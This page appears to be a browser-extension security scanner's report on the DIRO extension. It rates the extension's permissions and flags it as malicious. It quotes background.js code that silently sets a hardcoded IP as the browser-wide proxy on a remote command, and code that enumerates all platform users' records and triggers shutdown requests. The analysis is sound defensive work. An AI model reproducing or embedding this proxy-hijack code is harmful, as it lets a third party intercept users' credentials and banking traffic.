DIRO

DIRO

ID: emfkpgmphlllfnfjkochdmjhkjiicgfk

Supported Languages

🇺🇸US English

Extension Info & Metadata

Status
Active
Version
0.0.1
Size
0.26 MB
Rating
0.0/5
Reviews
0
Users
1
Type
Extension
Updated
Mar 11, 2024
Category
Functionality & ui
Price
Free
Featured
No
Visibility
Listed
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
virajView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
3
Active
1
Obsolete
2
Listed
3
Unlisted
0
Total Users
2
Screenshot 1

This Extension is for private use only.

DIRO is the first open banking platform with global coverage. With user consent, we are powering the financial industry with real-time verifications from bank, utility, and government sources.

Item
Type
Severity
Description
proxy
Permission
Critical
This permission allows the extension to control the browser's proxy settings. Rated Critical because it can route all traffic through potentially malicious proxies, enabling man-in-the-middle attacks and traffic monitoring.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
downloads
Permission
High
This permission controls file downloads and accesses download history. Rated High because it can download malicious files, access sensitive downloaded documents, and track user download patterns.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
activeTab
Permission
Medium
This permission grants temporary access to the current tab. Rated Medium because it can access current page content when invoked, though limited to user-initiated actions.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
pageCapture
Permission
Medium
This permission enables saving complete web pages as MHTML. Rated Medium because it can archive sensitive web content, capture full page data, and store browsing history artifacts.
https://stage.dirolabs.com:8443/*
Host
Medium
Host permission — access limited to this URL pattern.
downloads.open
Permission
Low
This permission opens downloaded files. Rated Low because it can only open files after explicit user download and selection.
downloads.shelf
Permission
Unknown
No classification available for this permission.

The function O() hardcodes a proxy server at 13.57.168.244:3128 and sets it as the browser-wide proxy via chrome.proxy.settings.set. It is called remotely on WebSocket message 'defaultproxy' (line 735), meaning the DIRO server can silently reroute ALL browser traffic through an arbitrary IP at any time, enabling full man-in-the-middle interception of all HTTP and HTTPS connections regardless of the site visited. This is not a declared data-collection category and goes far beyond the disclosed open-banking verification purpose.

background.js (Line 366)
function O() {  return x(this, void 0, void 0, (function*() {    const e = {      value: {        mode: "fixed_servers",        rules: {          singleProxy: {            scheme: "http",            host: "13.57.168.244",            port: Number("3128")          }        }      },      scope: "regular"    };    yield function(e) {      return x(this, void 0, void 0, (function*() {        return new Promise((o => chrome.proxy.settings.set(e, o)))      }))    }(e)  }))}

The extension hard-codes a specific IP address (13.57.168.244:3128) as an HTTP proxy for all browser traffic whenever the WebSocket server sends a 'defaultproxy' command. Because the proxy covers `<all_urls>` (the extension's declared host permissions) and uses a plain-IP address rather than a diro.io domain, any actor who controls this IP — or whose traffic passes through it — can read and modify every byte the browser sends, including credentials, session tokens, and banking data being captured during the purported KYC flow. A legitimate KYC service can verify documents without proxying ALL browser traffic; this over-broad capability is not disclosed or justified by the stated purpose.

background.js (Line 366)
function O() {  return x(this, void 0, void 0, (function*() {    const e = {      value: {        mode: "fixed_servers",        rules: {          singleProxy: {            scheme: "http",            host: "13.57.168.244",            port: Number("3128")          }        }      },      scope: "regular"    };    yield function(e) {      return x(this, void 0, void 0, (function*() {        return new Promise((o => chrome.proxy.settings.set(e, o)))      }))    }(e)  }))}

Ten seconds after load the extension fetches all platform users from https://api.diro.io/ube/get-all-data with no session or authentication header, iterates every user record, and fires a POST to http://localhost:8080/FtpFileAccess-1.0/shutdown with each free/expired user's Windows file path. This is platform-wide server-management logic embedded in a client browser extension; it exposes the full user roster from an unauthenticated endpoint and triggers side-effects (shutdown, file operations) against local infrastructure on behalf of arbitrary third-party accounts — capabilities that are entirely undisclosed and inappropriate for a user-facing extension.

background.js (Line 845)
setTimeout((() => A(void 0, void 0, void 0, (function*() {  try {    const e = yield t(void 0, void 0, void 0, (function*() {      const e = n.getalldata, // https://api.diro.io/ube/get-all-data        o = {          method: "GET"        };      try {        const n = yield fetch(e, o);        if (!n.ok) throw new Error("Network response was not ok");        const t = yield n.json();        return console.log("getalluserdata data:", t), t      } catch (e) {        throw e      }    }));    for (let o = 0; o < e.length; o++)      if ("free" == e[o].guac_status) {        let n = {          filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"        };        l(n) // sendFileForShutdown -> POST http://localhost:8080/FtpFileAccess-1.0/shutdown      } else if (null != e[o].freetime && e[o].freetime <= new Date) {      let n = {        filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"      };      l(n)    }  } catch (e) {    console.log("getalluserdata ERROR", e)  }}))), 1e4)

On startup, the extension fetches all user records from `https://api.diro.io/ube/get-all-data` — not filtered to the current session — and iterates over every user whose `guac_status` is 'free' or whose free-time has expired, constructing Windows file-system paths for those users and dispatching a POST to a local companion service (`localhost:8080/FtpFileAccess-1.0/shutdown`). This cross-user data access from a client-side extension is architecturally unusual: a single user's extension should never need to enumerate and act on the session state of other platform users. The CWS data-collection disclosure covers the current user's data, not multi-tenant server-side user records materialized inside each installed extension instance.

background.js (Line 845)
setTimeout((() => A(void 0, void 0, void 0, (function*() {  try {    const e = yield t(void 0, void 0, void 0, (function*() {      const e = n.getalldata, // https://api.diro.io/ube/get-all-data        o = {          method: "GET"        };      ...      const t = yield n.json();      return t    }));    for (let o = 0; o < e.length; o++)      if ("free" == e[o].guac_status) {        let n = {          filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"        };        l(n) // sendFileForShutdown      } else if (null != e[o].freetime && e[o].freetime <= new Date) {      let n = {        filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"      };      l(n)    }  } catch (e) {    ...  }}))), 1e4)

Both popup.html and options.html carry the title 'Weather Extension', which is inconsistent with the extension's declared identity as a DIRO banking verification tool. This indicates the extension UI was either copied from a different (possibly malicious) template or is intentionally mislabeled, suggesting deliberate obfuscation of the extension's true identity or purpose.

popup.html (Line 1)
< !doctype html>  < html>    < head>      < meta charset="utf-8">        < title> Weather Extension < /title>

By severity

Critical1
High2
Medium2
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
0.0.15

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.js4
  • popup.html1
S.No.
Category
Severity
File
Summary
Found in Version
1Network Interception
critical
background.js (line 366)The function O() hardcodes a proxy server at 13.57.168.244:3128 and sets it as the browser-wide proxy via chrome.proxy.settings.set. It is called remotely on WebSocket message 'defaultproxy' (line 735), meaning the DI…
2Network Interception
high
background.js (line 366)The extension hard-codes a specific IP address (13.57.168.244:3128) as an HTTP proxy for all browser traffic whenever the WebSocket server sends a 'defaultproxy' command. Because the proxy covers `<all_urls>` (the ext…
3Privilege Escalation
high
background.js (line 845)Ten seconds after load the extension fetches all platform users from https://api.diro.io/ube/get-all-data with no session or authentication header, iterates every user record, and fires a POST to http://localhost:8080…
4Obfuscation
medium
popup.html (line 1)Both popup.html and options.html carry the title 'Weather Extension', which is inconsistent with the extension's declared identity as a DIRO banking verification tool. This indicates the extension UI was either copied…
5Unauthorized Data Collection
medium
background.js (line 845)On startup, the extension fetches all user records from `https://api.diro.io/ube/get-all-data` — not filtered to the current session — and iterates over every user whose `guac_status` is 'free' or whose free-time has …
URLs
29
IPv4
1
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

reactjs.org/docs/error-decoder.htmlhttps://reactjs.org/docs/error-decoder.html?invariant=
www.w3.org/1999/xlinkhttp://www.w3.org/1999/xlink
www.w3.org/XML/1998/namespacehttp://www.w3.org/XML/1998/namespace
www.w3.org/1999/xhtmlhttp://www.w3.org/1999/xhtml
www.w3.org/1998/Math/MathMLhttp://www.w3.org/1998/Math/MathML
www.w3.org/2000/svghttp://www.w3.org/2000/svg
reactjs.org/link/react-polyfillshttps://reactjs.org/link/react-polyfills
prod.dirolabs.com/Zuul-1.0/https://prod.dirolabs.com/Zuul-1.0/
loaders.diro.io-https://loaders.diro.io
logs.diro.live/logshttps://logs.diro.live/logs
Showing 1 to 10 of 30 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

13.57.168.244
IPv4
-
Version
Size
Is Malicious
Findings
Permhash
0.0.1
Latest
0.26 MB
Malicious
5
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.